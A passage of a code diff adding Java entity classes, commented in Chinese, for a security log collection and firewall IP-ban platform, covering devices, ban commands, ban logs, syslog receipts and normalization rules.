this.missPolicy = missPolicy;
|
||||
}
|
||||
|
||||
public String getTenantId() {
|
||||
return tenantId;
|
||||
}
|
||||
|
||||
public void setTenantId(String tenantId) {
|
||||
this.tenantId = tenantId;
|
||||
}
|
||||
|
||||
public LocalDateTime getCreateTime() {
|
||||
return createTime;
|
||||
}
|
||||
|
||||
public void setCreateTime(LocalDateTime createTime) {
|
||||
this.createTime = createTime;
|
||||
}
|
||||
|
||||
public LocalDateTime getUpdateTime() {
|
||||
return updateTime;
|
||||
}
|
||||
|
||||
public void setUpdateTime(LocalDateTime updateTime) {
|
||||
this.updateTime = updateTime;
|
||||
}
|
||||
|
||||
public Long getCreateBy() {
|
||||
return createBy;
|
||||
}
|
||||
|
||||
public void setCreateBy(Long createBy) {
|
||||
this.createBy = createBy;
|
||||
}
|
||||
|
||||
public Long getUpdateBy() {
|
||||
return updateBy;
|
||||
}
|
||||
|
||||
public void setUpdateBy(Long updateBy) {
|
||||
this.updateBy = updateBy;
|
||||
}
|
||||
|
||||
public String getDelFlag() {
|
||||
return delFlag;
|
||||
}
|
||||
|
||||
public void setDelFlag(String delFlag) {
|
||||
this.delFlag = delFlag;
|
||||
}
|
||||
|
||||
public String getManagerName() {
|
||||
return managerName;
|
||||
}
|
||||
|
||||
public void setManagerName(String managerName) {
|
||||
this.managerName = managerName;
|
||||
}
|
||||
|
||||
public Integer getTodayParseCount() {
|
||||
return todayParseCount;
|
||||
}
|
||||
|
||||
public void setTodayParseCount(Integer todayParseCount) {
|
||||
this.todayParseCount = todayParseCount;
|
||||
}
|
||||
|
||||
public Integer getTodayNonLogCount() {
|
||||
return todayNonLogCount;
|
||||
}
|
||||
|
||||
public void setTodayNonLogCount(Integer todayNonLogCount) {
|
||||
this.todayNonLogCount = todayNonLogCount;
|
||||
}
|
||||
|
||||
public Long getCreateDept() {
|
||||
return createDept;
|
||||
}
|
||||
|
||||
public void setCreateDept(Long createDept) {
|
||||
this.createDept = createDept;
|
||||
}
|
||||
|
||||
public Integer getDeviceCollectId() {
|
||||
return deviceCollectId;
|
||||
}
|
||||
|
||||
public void setDeviceCollectId(Integer deviceCollectId) {
|
||||
this.deviceCollectId = deviceCollectId;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "DeviceDevice{" +
|
||||
"id=" + id +
|
||||
", createdAt=" + createdAt +
|
||||
", updatedAt=" + updatedAt +
|
||||
", deletedAt=" + deletedAt +
|
||||
", name='" + name + '\'' +
|
||||
", ip='" + ip + '\'' +
|
||||
", deviceGroup=" + deviceGroup +
|
||||
", deviceType=" + deviceType +
|
||||
", vendor='" + vendor + '\'' +
|
||||
", productName='" + productName + '\'' +
|
||||
", organizationId=" + organizationId +
|
||||
", lastReceiveTime=" + lastReceiveTime +
|
||||
", agentId=" + agentId +
|
||||
", detailId=" + detailId +
|
||||
", controlAgentId=" + controlAgentId +
|
||||
", licenseStartTime=" + licenseStartTime +
|
||||
", licenseEndTime=" + licenseEndTime +
|
||||
", isMonitoring=" + isMonitoring +
|
||||
", securityScopeId=" + securityScopeId +
|
||||
", ownerId=" + ownerId +
|
||||
", sshConfigId=" + sshConfigId +
|
||||
", status=" + status +
|
||||
", createdById=" + createdById +
|
||||
", decodeType=" + decodeType +
|
||||
", missPolicy=" + missPolicy +
|
||||
", tenantId='" + tenantId + '\'' +
|
||||
", createTime=" + createTime +
|
||||
", updateTime=" + updateTime +
|
||||
", createBy=" + createBy +
|
||||
", updateBy=" + updateBy +
|
||||
", delFlag='" + delFlag + '\'' +
|
||||
", managerName='" + managerName + '\'' +
|
||||
", todayParseCount=" + todayParseCount +
|
||||
", todayNonLogCount=" + todayNonLogCount +
|
||||
", createDept=" + createDept +
|
||||
", deviceCollectId=" + deviceCollectId +
|
||||
'}';
|
||||
}
|
||||
|
||||
}
|
||||
+85
@@ -0,0 +1,85 @@
|
||||
package com.common.entity;
|
||||
|
||||
import java.time.OffsetDateTime;
|
||||
|
||||
/**
|
||||
* 联动设备表实体类(防火墙设备信息)
|
||||
* 对应表: device_interlocking
|
||||
*/
|
||||
public class DeviceInterlocking {
|
||||
private Long id;
|
||||
private String deviceName; // 联动安全设备名称(防火墙)
|
||||
private String vendor; // 厂商
|
||||
private String deptId; // 所属组织机构(部门ID)
|
||||
private Integer banLimit; // 封禁上限
|
||||
private String ip; // IP地址
|
||||
private String apiUrl; // API地址
|
||||
private String tenantId;
|
||||
private Long createDept;
|
||||
private Long createBy;
|
||||
private OffsetDateTime createTime;
|
||||
private Long updateBy;
|
||||
private OffsetDateTime updateTime;
|
||||
private String remark;
|
||||
private String authUsername; // 用户名
|
||||
private String authPassword; // 密码
|
||||
|
||||
// Getter and Setter
|
||||
public Long getId() { return id; }
|
||||
public void setId(Long id) { this.id = id; }
|
||||
|
||||
public String getDeviceName() { return deviceName; }
|
||||
public void setDeviceName(String deviceName) { this.deviceName = deviceName; }
|
||||
|
||||
public String getVendor() { return vendor; }
|
||||
public void setVendor(String vendor) { this.vendor = vendor; }
|
||||
|
||||
public String getDeptId() { return deptId; }
|
||||
public void setDeptId(String deptId) { this.deptId = deptId; }
|
||||
|
||||
public Integer getBanLimit() { return banLimit; }
|
||||
public void setBanLimit(Integer banLimit) { this.banLimit = banLimit; }
|
||||
|
||||
public String getIp() { return ip; }
|
||||
public void setIp(String ip) { this.ip = ip; }
|
||||
|
||||
public String getApiUrl() { return apiUrl; }
|
||||
public void setApiUrl(String apiUrl) { this.apiUrl = apiUrl; }
|
||||
|
||||
public String getTenantId() { return tenantId; }
|
||||
public void setTenantId(String tenantId) { this.tenantId = tenantId; }
|
||||
|
||||
public Long getCreateDept() { return createDept; }
|
||||
public void setCreateDept(Long createDept) { this.createDept = createDept; }
|
||||
|
||||
public Long getCreateBy() { return createBy; }
|
||||
public void setCreateBy(Long createBy) { this.createBy = createBy; }
|
||||
|
||||
public OffsetDateTime getCreateTime() { return createTime; }
|
||||
public void setCreateTime(OffsetDateTime createTime) { this.createTime = createTime; }
|
||||
|
||||
public Long getUpdateBy() { return updateBy; }
|
||||
public void setUpdateBy(Long updateBy) { this.updateBy = updateBy; }
|
||||
|
||||
public OffsetDateTime getUpdateTime() { return updateTime; }
|
||||
public void setUpdateTime(OffsetDateTime updateTime) { this.updateTime = updateTime; }
|
||||
|
||||
public String getRemark() { return remark; }
|
||||
public void setRemark(String remark) { this.remark = remark; }
|
||||
|
||||
public String getAuthUsername() { return authUsername; }
|
||||
public void setAuthUsername(String authUsername) { this.authUsername = authUsername; }
|
||||
|
||||
public String getAuthPassword() { return authPassword; }
|
||||
public void setAuthPassword(String authPassword) { this.authPassword = authPassword; }
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "DeviceInterlocking{" +
|
||||
"id=" + id +
|
||||
", deviceName='" + deviceName + '\'' +
|
||||
", vendor='" + vendor + '\'' +
|
||||
", ip='" + ip + '\'' +
|
||||
'}';
|
||||
}
|
||||
}
|
||||
+147
@@ -0,0 +1,147 @@
|
||||
package com.common.entity;
|
||||
|
||||
import com.Modules.etl.handler.ArrayIntegerTypeHandler;
|
||||
import com.Modules.etl.handler.ArrayStringTypeHandler;
|
||||
import org.apache.ibatis.type.JdbcType;
|
||||
import org.apache.ibatis.type.TypeHandler;
|
||||
import org.apache.ibatis.type.ArrayTypeHandler;
|
||||
|
||||
import java.time.OffsetDateTime;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* 封禁指令表实体类
|
||||
* 对应表: device_interlocking_cmd
|
||||
*/
|
||||
public class DeviceInterlockingCmd {
|
||||
private Long id;
|
||||
private Long probeId; // 探针ID
|
||||
private String probeIp; // 探针IP
|
||||
private Integer[] deviceInterlockingId; // 联动设备ID(数组)
|
||||
private String[] deviceInterlockingIp; // 联动设备IP(数组)
|
||||
private String[] banIps; // 封禁IP(数组)
|
||||
private String banMethod; // 封禁方式(0:手工、1:自动)
|
||||
private String banType; // 封禁类型(1:白名单、0:黑名单)
|
||||
private String cmdStatus; // 指令状态(0:未执行、1:已完成、2:执行中)
|
||||
private Integer banDuration; // 封禁时长(秒,-1表示永久)
|
||||
private OffsetDateTime createTime;
|
||||
private OffsetDateTime updateTime;
|
||||
private String tenantId;
|
||||
private Long createDept;
|
||||
private Long createBy;
|
||||
private Long updateBy;
|
||||
private String remark;
|
||||
private Integer banOperationType; // 封禁操作类型(0:新增、1:删除)
|
||||
|
||||
// Getter and Setter
|
||||
public Long getId() { return id; }
|
||||
public void setId(Long id) { this.id = id; }
|
||||
|
||||
public Long getProbeId() { return probeId; }
|
||||
public void setProbeId(Long probeId) { this.probeId = probeId; }
|
||||
|
||||
public String getProbeIp() { return probeIp; }
|
||||
public void setProbeIp(String probeIp) { this.probeIp = probeIp; }
|
||||
|
||||
public Integer[] getDeviceInterlockingId() { return deviceInterlockingId; }
|
||||
public void setDeviceInterlockingId(Integer[] deviceInterlockingId) { this.deviceInterlockingId = deviceInterlockingId; }
|
||||
|
||||
public String[] getDeviceInterlockingIp() { return deviceInterlockingIp; }
|
||||
public void setDeviceInterlockingIp(String[] deviceInterlockingIp) { this.deviceInterlockingIp = deviceInterlockingIp; }
|
||||
|
||||
public String[] getBanIps() { return banIps; }
|
||||
public void setBanIps(String[] banIps) { this.banIps = banIps; }
|
||||
|
||||
public String getBanMethod() { return banMethod; }
|
||||
public void setBanMethod(String banMethod) { this.banMethod = banMethod; }
|
||||
|
||||
public String getBanType() { return banType; }
|
||||
public void setBanType(String banType) { this.banType = banType; }
|
||||
|
||||
public String getCmdStatus() { return cmdStatus; }
|
||||
public void setCmdStatus(String cmdStatus) { this.cmdStatus = cmdStatus; }
|
||||
|
||||
public Integer getBanDuration() { return banDuration; }
|
||||
public void setBanDuration(Integer banDuration) { this.banDuration = banDuration; }
|
||||
|
||||
public OffsetDateTime getCreateTime() { return createTime; }
|
||||
public void setCreateTime(OffsetDateTime createTime) { this.createTime = createTime; }
|
||||
|
||||
public OffsetDateTime getUpdateTime() { return updateTime; }
|
||||
public void setUpdateTime(OffsetDateTime updateTime) { this.updateTime = updateTime; }
|
||||
|
||||
public String getTenantId() { return tenantId; }
|
||||
public void setTenantId(String tenantId) { this.tenantId = tenantId; }
|
||||
|
||||
public Long getCreateDept() { return createDept; }
|
||||
public void setCreateDept(Long createDept) { this.createDept = createDept; }
|
||||
|
||||
public Long getCreateBy() { return createBy; }
|
||||
public void setCreateBy(Long createBy) { this.createBy = createBy; }
|
||||
|
||||
public Long getUpdateBy() { return updateBy; }
|
||||
public void setUpdateBy(Long updateBy) { this.updateBy = updateBy; }
|
||||
|
||||
public String getRemark() { return remark; }
|
||||
public void setRemark(String remark) { this.remark = remark; }
|
||||
|
||||
public Integer getBanOperationType() { return banOperationType; }
|
||||
public void setBanOperationType(Integer banOperationType) { this.banOperationType = banOperationType; }
|
||||
|
||||
// ========== 便利方法:数组与List互转 ==========
|
||||
|
||||
/**
|
||||
* 获取设备联动ID列表
|
||||
*/
|
||||
public List<Integer> getDeviceInterlockingIdList() {
|
||||
return deviceInterlockingId != null ? Arrays.asList(deviceInterlockingId) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置设备联动ID列表
|
||||
*/
|
||||
public void setDeviceInterlockingIdList(List<Integer> list) {
|
||||
this.deviceInterlockingId = list != null ? list.toArray(new Integer[0]) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备联动IP列表
|
||||
*/
|
||||
public List<String> getDeviceInterlockingIpList() {
|
||||
return deviceInterlockingIp != null ? Arrays.asList(deviceInterlockingIp) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置设备联动IP列表
|
||||
*/
|
||||
public void setDeviceInterlockingIpList(List<String> list) {
|
||||
this.deviceInterlockingIp = list != null ? list.toArray(new String[0]) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取封禁IP列表
|
||||
*/
|
||||
public List<String> getBanIpsList() {
|
||||
return banIps != null ? Arrays.asList(banIps) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置封禁IP列表
|
||||
*/
|
||||
public void setBanIpsList(List<String> list) {
|
||||
this.banIps = list != null ? list.toArray(new String[0]) : null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "DeviceInterlockingCmd{" +
|
||||
"id=" + id +
|
||||
", probeId=" + probeId +
|
||||
", probeIp='" + probeIp + '\'' +
|
||||
", banType='" + banType + '\'' +
|
||||
", cmdStatus='" + cmdStatus + '\'' +
|
||||
", banOperationType=" + banOperationType +
|
||||
'}';
|
||||
}
|
||||
}
|
||||
+90
@@ -0,0 +1,90 @@
|
||||
package com.common.entity;
|
||||
|
||||
import java.time.OffsetDateTime;
|
||||
|
||||
/**
|
||||
* 封禁记录表实体类
|
||||
* 对应表: device_interlocking_log
|
||||
*/
|
||||
public class DeviceInterlockingLog {
|
||||
private Long id;
|
||||
private Long deviceInterlockingCmdId; // 封禁指令ID
|
||||
private Long deviceInterlockingId; // 封禁设备ID
|
||||
private String banIp; // 封禁IP地址
|
||||
private String deviceName; // 封禁设备名称
|
||||
private OffsetDateTime banTime; // 封禁时间
|
||||
private String banMethod; // 封禁方式(0.人工、1.自动化封禁)
|
||||
private Integer banResult; // 联动结果(成功:1、失败:0)
|
||||
private String tenantId;
|
||||
private Long createDept;
|
||||
private Long createBy;
|
||||
private OffsetDateTime createTime;
|
||||
private Long updateBy;
|
||||
private OffsetDateTime updateTime;
|
||||
private String remark;
|
||||
private String respBody; // 响应body
|
||||
private String reqBody; // 请求body
|
||||
|
||||
// Getter and Setter
|
||||
public Long getId() { return id; }
|
||||
public void setId(Long id) { this.id = id; }
|
||||
|
||||
public Long getDeviceInterlockingCmdId() { return deviceInterlockingCmdId; }
|
||||
public void setDeviceInterlockingCmdId(Long deviceInterlockingCmdId) { this.deviceInterlockingCmdId = deviceInterlockingCmdId; }
|
||||
|
||||
public Long getDeviceInterlockingId() { return deviceInterlockingId; }
|
||||
public void setDeviceInterlockingId(Long deviceInterlockingId) { this.deviceInterlockingId = deviceInterlockingId; }
|
||||
|
||||
public String getBanIp() { return banIp; }
|
||||
public void setBanIp(String banIp) { this.banIp = banIp; }
|
||||
|
||||
public String getDeviceName() { return deviceName; }
|
||||
public void setDeviceName(String deviceName) { this.deviceName = deviceName; }
|
||||
|
||||
public OffsetDateTime getBanTime() { return banTime; }
|
||||
public void setBanTime(OffsetDateTime banTime) { this.banTime = banTime; }
|
||||
|
||||
public String getBanMethod() { return banMethod; }
|
||||
public void setBanMethod(String banMethod) { this.banMethod = banMethod; }
|
||||
|
||||
public Integer getBanResult() { return banResult; }
|
||||
public void setBanResult(Integer banResult) { this.banResult = banResult; }
|
||||
|
||||
public String getTenantId() { return tenantId; }
|
||||
public void setTenantId(String tenantId) { this.tenantId = tenantId; }
|
||||
|
||||
public Long getCreateDept() { return createDept; }
|
||||
public void setCreateDept(Long createDept) { this.createDept = createDept; }
|
||||
|
||||
public Long getCreateBy() { return createBy; }
|
||||
public void setCreateBy(Long createBy) { this.createBy = createBy; }
|
||||
|
||||
public OffsetDateTime getCreateTime() { return createTime; }
|
||||
public void setCreateTime(OffsetDateTime createTime) { this.createTime = createTime; }
|
||||
|
||||
public Long getUpdateBy() { return updateBy; }
|
||||
public void setUpdateBy(Long updateBy) { this.updateBy = updateBy; }
|
||||
|
||||
public OffsetDateTime getUpdateTime() { return updateTime; }
|
||||
public void setUpdateTime(OffsetDateTime updateTime) { this.updateTime = updateTime; }
|
||||
|
||||
public String getRemark() { return remark; }
|
||||
public void setRemark(String remark) { this.remark = remark; }
|
||||
|
||||
public String getRespBody() { return respBody; }
|
||||
public void setRespBody(String respBody) { this.respBody = respBody; }
|
||||
|
||||
public String getReqBody() { return reqBody; }
|
||||
public void setReqBody(String reqBody) { this.reqBody = reqBody; }
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "DeviceInterlockingLog{" +
|
||||
"id=" + id +
|
||||
", deviceInterlockingCmdId=" + deviceInterlockingCmdId +
|
||||
", banIp='" + banIp + '\'' +
|
||||
", deviceName='" + deviceName + '\'' +
|
||||
", banResult=" + banResult +
|
||||
'}';
|
||||
}
|
||||
}
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.Data;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.Builder;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import com.fasterxml.jackson.annotation.JsonFormat;
|
||||
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class DeviceReceiveLog {
|
||||
/**
|
||||
* 主键ID
|
||||
*/
|
||||
private Long id;
|
||||
|
||||
/**
|
||||
* 记录创建时间(UTC时间)
|
||||
*/
|
||||
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
|
||||
private LocalDateTime createdAt;
|
||||
|
||||
/**
|
||||
* 采集探针ID
|
||||
*/
|
||||
private Integer deviceCollectId;
|
||||
|
||||
/**
|
||||
* 设备ID
|
||||
*/
|
||||
private Integer deviceId;
|
||||
|
||||
/**
|
||||
* 设备IP(PostgreSQL inet类型,用String处理)
|
||||
*/
|
||||
private String deviceIp;
|
||||
|
||||
/**
|
||||
* 日志收到时间
|
||||
*/
|
||||
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
|
||||
private LocalDateTime receiveTime;
|
||||
|
||||
/**
|
||||
* 接收时间字符串(冗余字段)
|
||||
*/
|
||||
private String receiveTimeStr;
|
||||
|
||||
/**
|
||||
* 原始syslog消息
|
||||
*/
|
||||
private String syslogMessage;
|
||||
|
||||
// 推送是否成功
|
||||
private Boolean pushSuccess;
|
||||
/**
|
||||
* 分页参数(非表字段)
|
||||
*/
|
||||
private Integer pageNum;
|
||||
private Integer pageSize;
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
public class DeviceStatsDTO {
|
||||
private Long deviceId;
|
||||
private LocalDateTime lastReceiveTime;
|
||||
private Integer parseCount;
|
||||
private Integer nonLogCount;
|
||||
}
|
||||
+131
@@ -0,0 +1,131 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
public class DmColumn {
|
||||
private Long id;
|
||||
private LocalDateTime createdAt;
|
||||
private LocalDateTime updatedAt;
|
||||
private LocalDateTime deletedAt;
|
||||
private String name;
|
||||
private String displayName;
|
||||
private Long storageDataType;
|
||||
private Long businessDataType;
|
||||
private Boolean isBuiltIn;
|
||||
private Boolean isHidden;
|
||||
private Boolean isNotNormalizable;
|
||||
private Boolean isRequired;
|
||||
private Integer categoryId;
|
||||
private Integer customAssetCategoryId;
|
||||
private Boolean isVirtual;
|
||||
private Integer tableId;
|
||||
private Integer assetTableId;
|
||||
private Integer columnSetId;
|
||||
private Integer baseType;
|
||||
private Integer userTaskId;
|
||||
private Long createdById;
|
||||
private Long createDept;
|
||||
private Long createBy;
|
||||
private LocalDateTime createTime;
|
||||
private Long updateBy;
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
// 构造方法
|
||||
public DmColumn() {}
|
||||
|
||||
public DmColumn(String name, String displayName) {
|
||||
this.name = name;
|
||||
this.displayName = displayName;
|
||||
}
|
||||
|
||||
// getter 和 setter 方法
|
||||
public Long getId() { return id; }
|
||||
public void setId(Long id) { this.id = id; }
|
||||
|
||||
public LocalDateTime getCreatedAt() { return createdAt; }
|
||||
public void setCreatedAt(LocalDateTime createdAt) { this.createdAt = createdAt; }
|
||||
|
||||
public LocalDateTime getUpdatedAt() { return updatedAt; }
|
||||
public void setUpdatedAt(LocalDateTime updatedAt) { this.updatedAt = updatedAt; }
|
||||
|
||||
public LocalDateTime getDeletedAt() { return deletedAt; }
|
||||
public void setDeletedAt(LocalDateTime deletedAt) { this.deletedAt = deletedAt; }
|
||||
|
||||
public String getName() { return name; }
|
||||
public void setName(String name) { this.name = name; }
|
||||
|
||||
public String getDisplayName() { return displayName; }
|
||||
public void setDisplayName(String displayName) { this.displayName = displayName; }
|
||||
|
||||
public Long getStorageDataType() { return storageDataType; }
|
||||
public void setStorageDataType(Long storageDataType) { this.storageDataType = storageDataType; }
|
||||
|
||||
public Long getBusinessDataType() { return businessDataType; }
|
||||
public void setBusinessDataType(Long businessDataType) { this.businessDataType = businessDataType; }
|
||||
|
||||
public Boolean getIsBuiltIn() { return isBuiltIn; }
|
||||
public void setIsBuiltIn(Boolean isBuiltIn) { this.isBuiltIn = isBuiltIn; }
|
||||
|
||||
public Boolean getIsHidden() { return isHidden; }
|
||||
public void setIsHidden(Boolean isHidden) { this.isHidden = isHidden; }
|
||||
|
||||
public Boolean getIsNotNormalizable() { return isNotNormalizable; }
|
||||
public void setIsNotNormalizable(Boolean isNotNormalizable) { this.isNotNormalizable = isNotNormalizable; }
|
||||
|
||||
public Boolean getIsRequired() { return isRequired; }
|
||||
public void setIsRequired(Boolean isRequired) { this.isRequired = isRequired; }
|
||||
|
||||
public Integer getCategoryId() { return categoryId; }
|
||||
public void setCategoryId(Integer categoryId) { this.categoryId = categoryId; }
|
||||
|
||||
public Integer getCustomAssetCategoryId() { return customAssetCategoryId; }
|
||||
public void setCustomAssetCategoryId(Integer customAssetCategoryId) { this.customAssetCategoryId = customAssetCategoryId; }
|
||||
|
||||
public Boolean getIsVirtual() { return isVirtual; }
|
||||
public void setIsVirtual(Boolean isVirtual) { this.isVirtual = isVirtual; }
|
||||
|
||||
public Integer getTableId() { return tableId; }
|
||||
public void setTableId(Integer tableId) { this.tableId = tableId; }
|
||||
|
||||
public Integer getAssetTableId() { return assetTableId; }
|
||||
public void setAssetTableId(Integer assetTableId) { this.assetTableId = assetTableId; }
|
||||
|
||||
public Integer getColumnSetId() { return columnSetId; }
|
||||
public void setColumnSetId(Integer columnSetId) { this.columnSetId = columnSetId; }
|
||||
|
||||
public Integer getBaseType() { return baseType; }
|
||||
public void setBaseType(Integer baseType) { this.baseType = baseType; }
|
||||
|
||||
public Integer getUserTaskId() { return userTaskId; }
|
||||
public void setUserTaskId(Integer userTaskId) { this.userTaskId = userTaskId; }
|
||||
|
||||
public Long getCreatedById() { return createdById; }
|
||||
public void setCreatedById(Long createdById) { this.createdById = createdById; }
|
||||
|
||||
public Long getCreateDept() { return createDept; }
|
||||
public void setCreateDept(Long createDept) { this.createDept = createDept; }
|
||||
|
||||
public Long getCreateBy() { return createBy; }
|
||||
public void setCreateBy(Long createBy) { this.createBy = createBy; }
|
||||
|
||||
public LocalDateTime getCreateTime() { return createTime; }
|
||||
public void setCreateTime(LocalDateTime createTime) { this.createTime = createTime; }
|
||||
|
||||
public Long getUpdateBy() { return updateBy; }
|
||||
public void setUpdateBy(Long updateBy) { this.updateBy = updateBy; }
|
||||
|
||||
public LocalDateTime getUpdateTime() { return updateTime; }
|
||||
public void setUpdateTime(LocalDateTime updateTime) { this.updateTime = updateTime; }
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "DmColumn{" +
|
||||
"id=" + id +
|
||||
", name='" + name + '\'' +
|
||||
", displayName='" + displayName + '\'' +
|
||||
", isBuiltIn=" + isBuiltIn +
|
||||
", isHidden=" + isHidden +
|
||||
'}';
|
||||
}
|
||||
}
|
||||
+131
@@ -0,0 +1,131 @@
|
||||
package com.common.entity;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
public class DmNormalizeRule {
|
||||
private Long id;
|
||||
private LocalDateTime createdAt;
|
||||
private LocalDateTime updatedAt;
|
||||
private LocalDateTime deletedAt;
|
||||
private String name;
|
||||
private String displayName;
|
||||
private String description;
|
||||
private Boolean isBuiltIn;
|
||||
private Boolean isRunning;
|
||||
private LocalDateTime firstDataSavedAt;
|
||||
private String dataType;
|
||||
private Integer fieldCateId;
|
||||
private String logParsed;
|
||||
private String[] sampleLogs;
|
||||
private Boolean isDataMergeEnabled;
|
||||
private Long dataMergeInterval;
|
||||
private String dataMergeTimeUnit;
|
||||
private Long dataMergeRowLimit;
|
||||
private String dataMergeColumns;
|
||||
private Short dataStorageMedium;
|
||||
private Integer createdById;
|
||||
private Integer groupId;
|
||||
private String ruleContent;
|
||||
private String builtInVersion;
|
||||
private String tenantId;
|
||||
private LocalDateTime createTime;
|
||||
private LocalDateTime updateTime;
|
||||
private Long createBy;
|
||||
private Long updateBy;
|
||||
private String delFlag;
|
||||
private Long createDept;
|
||||
|
||||
// getters and setters
|
||||
public Long getId() { return id; }
|
||||
public void setId(Long id) { this.id = id; }
|
||||
|
||||
public LocalDateTime getCreatedAt() { return createdAt; }
|
||||
public void setCreatedAt(LocalDateTime createdAt) { this.createdAt = createdAt; }
|
||||
|
||||
public LocalDateTime getUpdatedAt() { return updatedAt; }
|
||||
public void setUpdatedAt(LocalDateTime updatedAt) { this.updatedAt = updatedAt; }
|
||||
|
||||
public LocalDateTime getDeletedAt() { return deletedAt; }
|
||||
public void setDeletedAt(LocalDateTime deletedAt) { this.deletedAt = deletedAt; }
|
||||
|
||||
public String getName() { return name; }
|
||||
public void setName(String name) { this.name = name; }
|
||||
|
||||
public String getDisplayName() { return displayName; }
|
||||
public void setDisplayName(String displayName) { this.displayName = displayName; }
|
||||
|
||||
public String getDescription() { return description; }
|
||||
public void setDescription(String description) { this.description = description; }
|
||||
|
||||
public Boolean getIsBuiltIn() { return isBuiltIn; }
|
||||
public void setIsBuiltIn(Boolean isBuiltIn) { this.isBuiltIn = isBuiltIn; }
|
||||
|
||||
public Boolean getIsRunning() { return isRunning; }
|
||||
public void setIsRunning(Boolean isRunning) { this.isRunning = isRunning; }
|
||||
|
||||
public LocalDateTime getFirstDataSavedAt() { return firstDataSavedAt; }
|
||||
public void setFirstDataSavedAt(LocalDateTime firstDataSavedAt) { this.firstDataSavedAt = firstDataSavedAt; }
|
||||
|
||||
public String getDataType() { return dataType; }
|
||||
public void setDataType(String dataType) { this.dataType = dataType; }
|
||||
|
||||
public Integer getFieldCateId() { return fieldCateId; }
|
||||
public void setFieldCateId(Integer fieldCateId) { this.fieldCateId = fieldCateId; }
|
||||
|
||||
public String getLogParsed() { return logParsed; }
|
||||
public void setLogParsed(String logParsed) { this.logParsed = logParsed; }
|
||||
|
||||
public String[] getSampleLogs() { return sampleLogs; }
|
||||
public void setSampleLogs(String[] sampleLogs) { this.sampleLogs = sampleLogs; }
|
||||
|
||||
public Boolean getIsDataMergeEnabled() { return isDataMergeEnabled; }
|
||||
public void setIsDataMergeEnabled(Boolean isDataMergeEnabled) { this.isDataMergeEnabled = isDataMergeEnabled; }
|
||||
|
||||
public Long getDataMergeInterval() { return dataMergeInterval; }
|
||||
public void setDataMergeInterval(Long dataMergeInterval) { this.dataMergeInterval = dataMergeInterval; }
|
||||
|
||||
public String getDataMergeTimeUnit() { return dataMergeTimeUnit; }
|
||||
public void setDataMergeTimeUnit(String dataMergeTimeUnit) { this.dataMergeTimeUnit = dataMergeTimeUnit; }
|
||||
|
||||
public Long getDataMergeRowLimit() { return dataMergeRowLimit; }
|
||||
public void setDataMergeRowLimit(Long dataMergeRowLimit) { this.dataMergeRowLimit = dataMergeRowLimit; }
|
||||
|
||||
public String getDataMergeColumns() { return dataMergeColumns; }
|
||||
public void setDataMergeColumns(String dataMergeColumns) { this.dataMergeColumns = dataMergeColumns; }
|
||||
|
||||
public Short getDataStorageMedium() { return dataStorageMedium; }
|
||||
public void setDataStorageMedium(Short dataStorageMedium) { this.dataStorageMedium = dataStorageMedium; }
|
||||
|
||||
public Integer getCreatedById() { return createdById; }
|
||||
public void setCreatedById(Integer createdById) { this.createdById = createdById; }
|
||||
|
||||
public Integer getGroupId() { return groupId; }
|
||||
public void setGroupId(Integer groupId) { this.groupId = groupId; }
|
||||
|
||||
public String getRuleContent() { return ruleContent; }
|
||||
public void setRuleContent(String ruleContent) { this.ruleContent = ruleContent; }
|
||||
|
||||
public String getBuiltInVersion() { return builtInVersion; }
|
||||
public void setBuiltInVersion(String builtInVersion) { this.builtInVersion = builtInVersion; }
|
||||
|
||||
public String getTenantId() { return tenantId; }
|
||||
public void setTenantId(String tenantId) { this.tenantId = tenantId; }
|
||||
|
||||
public LocalDateTime getCreateTime() { return createTime; }
|
||||
public void setCreateTime(LocalDateTime createTime) { this.createTime = createTime; }
|
||||
|
||||
public LocalDateTime getUpdateTime() { return updateTime; }
|
||||
public void setUpdateTime(LocalDateTime updateTime) { this.updateTime = updateTime; }
|
||||
|
||||
public Long getCreateBy() { return createBy; }
|
||||
public void setCreateBy(Long createBy) { this.createBy = createBy; }
|
||||
|
||||
public Long getUpdateBy() { return updateBy; }
|
||||
public void setUpdateBy(Long updateBy) { this.updateBy = updateBy; }
|
||||
|
||||
public String getDelFlag() { return delFlag; }
|
||||
public void setDelFlag(String delFlag) { this.delFlag = delFlag; }
|
||||
|
||||
public Long getCreateDept() { return createDept; }
|
||||
public void setCreateDept(Long createDept) { this.createDept = createDept; }
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
package com.common.entity;
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
public class GroupedSyslogData {
|
||||
private String logDate;
|
||||
private String srcIp;
|
||||
private String destIp;
|
||||
private String[] attackIps;
|
||||
private String originEventName;
|
||||
private Integer attackResult; // 单个attack_result值
|
||||
private LocalDateTime minLogTime;
|
||||
private LocalDateTime maxLogTime;
|
||||
private Long logCount;
|
||||
private String[] victimIps;
|
||||
private String[] victimWebUrls;
|
||||
private Integer[] deviceIds;
|
||||
private String[] originLogIds;
|
||||
